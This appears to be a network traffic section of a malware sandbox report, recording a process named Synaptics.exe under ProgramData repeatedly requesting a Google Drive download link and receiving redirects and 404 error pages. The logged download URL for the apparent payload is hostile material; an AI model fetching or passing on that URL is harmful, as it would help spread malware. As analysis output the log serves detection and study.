2025-01-02 19:10:50 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5BdtYMFUVgO4nVTa6T-UQoQgxcNttTW6cy87IgW6cvfyhGVyCS2dcMKRSuImtrCnVjI3lRTd0 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:50 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-l2ys9zAs0uTP9gavPt1HEg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:10:50 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:10:50 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 5f 6a 6a 42 73 65 51 73 62 46 4e 38 54 5a 51 39 6a 72 4f 6f 37 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="_jjBseQsbFN8TZQ9jrOo7A">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:10:50 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49736	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:49 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:10:50 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:50 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-Mo9ddQ6u3USYjbzmBI0NRg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49737	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:50 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49746	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:51 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:10:51 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5wijWlr_GnmX9uknHhnZRCw6z5O5V6d9vpzRXNSBvJl1NYIjmOwv27b67sB7wgUeuF Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:51 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-7tBWWs2kmOV_kU_4K_uQTA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:10:51 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:10:51 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 45 45 70 68 49 42 35 45 38 69 30 45 47 52 34 2d 6f 41 79 78 78 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="EEphIB5E8i0EGR4-oAyxxg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:10:51 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49747	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:51 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:10:51 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:51 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-6aNPsAM-VP7AtJtG8nJcsA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49748	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:51 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:10:51 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:51 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-8I-Ojvtr00pH4brW8RWkYQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49752	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:52 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:10:52 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:52 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-HcSnMdEANLaggOerIWSM-A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49754	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:52 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:10:52 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:52 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-R2iH6MuyqAKYkL88SDORhg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49751	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:52 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:10:52 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6v1QRiR6yYNRAT9AQF9KOHatXowKdota7_XLeY9lsrHrsYUdD06q2IErQDRcNir8kz Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:52 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-RuNviVxGNiEMJ3RSw80v7g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:10:52 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:10:52 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 36 6b 71 66 42 42 4e 31 56 2d 7a 36 4d 69 68 75 4d 78 43 54 4a 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="6kqfBBN1V-z6MihuMxCTJg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:10:52 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49755	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:10:52 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:10:52 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4Sp14siBfjUojkUtGmta-nHM7362KJJpPepaZam0yXOZf7WU0LgSw0BX1J8n8H0gQaKl7bZaw Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:10:52 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-iB78j2Q7bP8gn9MROjPtkQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:10:52 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
